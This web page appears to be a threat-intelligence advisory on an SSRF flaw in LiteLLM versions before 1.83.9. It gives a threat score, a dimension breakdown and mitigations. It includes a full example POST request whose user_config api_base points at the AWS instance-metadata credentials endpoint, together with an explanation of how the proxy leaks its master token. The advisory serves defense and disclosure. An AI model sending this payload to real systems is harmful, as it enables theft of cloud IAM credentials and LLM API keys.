Skip to content

CVE-2026-59823: BerriAI LiteLLM user_config Input Validation Bypass Server-Side Request Forgery

Density:
C-Level Executive Briefing CVE-2026-59823 HIGH SCORE 82/100

A Server-Side Request Forgery (SSRF) flaw in BerriAI LiteLLM (< 1.83.9) enables authenticated callers to bypass internal request validation routines by submitting crafted user_config parameters. Attackers can redirect outbound model requests to attacker-controlled listeners or cloud metadata endpoints (AWS IMDS / GCP metadata), exfiltrating high-value master LLM API keys (OpenAI, Anthropic, Bedrock) and cloud IAM credentials.

HYBRID

HERMES THREAT SCORE & CLOUD SSRF EXPOSURE EVALUATION

Target: BerriAI LiteLLM Request Validation Engine (is_request_body_safe / api_base)
Confidence: 96%
82 / 100
HIGH

Measures real-world operational relevance, exploit weaponization, and active threat posture.

Dimension Breakdown
Exploitability 17 / 20
Threat Activity 14 / 20
Weaponization 16 / 20
Exposure 17 / 20
Prevalence 18 / 20
Impact 17 / 20
Exploit Maturity 16 / 20
Attack Chain Potential 18 / 20
โš–๏ธ Divergence & Operational Rationale

While CVSS v3.1 rates this at 6.5, the Hermes Threat Score rates it at 82 (HIGH) because LiteLLM instances in Kubernetes or ECS clusters hold access to IAM instance credentials and downstream enterprise API keys.

๐Ÿ•ธ๏ธ Connected Knowledge Graph & Provenance

CVE-2026-59823: BerriAI LiteLLM user_config Input Validation Bypass Server-Side Request ForgeryVULNERABILITY

Connected Nodes: 1
Active Relationships (Outgoing)
→ affectsPRODUCTLiteLLM Proxy & MCP Server
98% VERY_HIGH

Enterprise LLM proxy gateway supporting Model Context Protocol (MCP) streamable endpoints and unified LLM APIs.

๐Ÿ” Why is this related? (Evidence & Provenance)

“Confirmed security vulnerability in LiteLLM Proxy & MCP Server documented in Hermes dossier.”

Supporting Verified Evidence:

LiteLLM validates incoming completion bodies using internal helper functions such as is_request_body_safe().

In versions prior to 1.83.9, the proxy permitted client requests to supply nested user_config objects specifying custom api_base parameters. The validation pipeline failed to re-validate this nested override against the global allowed-hosts list:

POST /chat/completions HTTP/1.1
Host: litellm.corp.internal:4000
Authorization: Bearer sk-test-key
Content-Type: application/json
{
"model": "gpt-4o",
"messages": [{"role": "user", "content": "ping"}],
"user_config": {
"api_base": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
}
}

When LiteLLM dispatches the HTTP client request, it attaches the configured upstream master Bearer token and targets the injected address, effectively leaking master secrets to the target listener.


  1. Upgrade: Update LiteLLM to 1.83.9 or higher.
  2. IMDSv2 Enforcement: Require token-backed Session Identifiers (IMDSv2) with hop limit set to 1 across cloud nodes.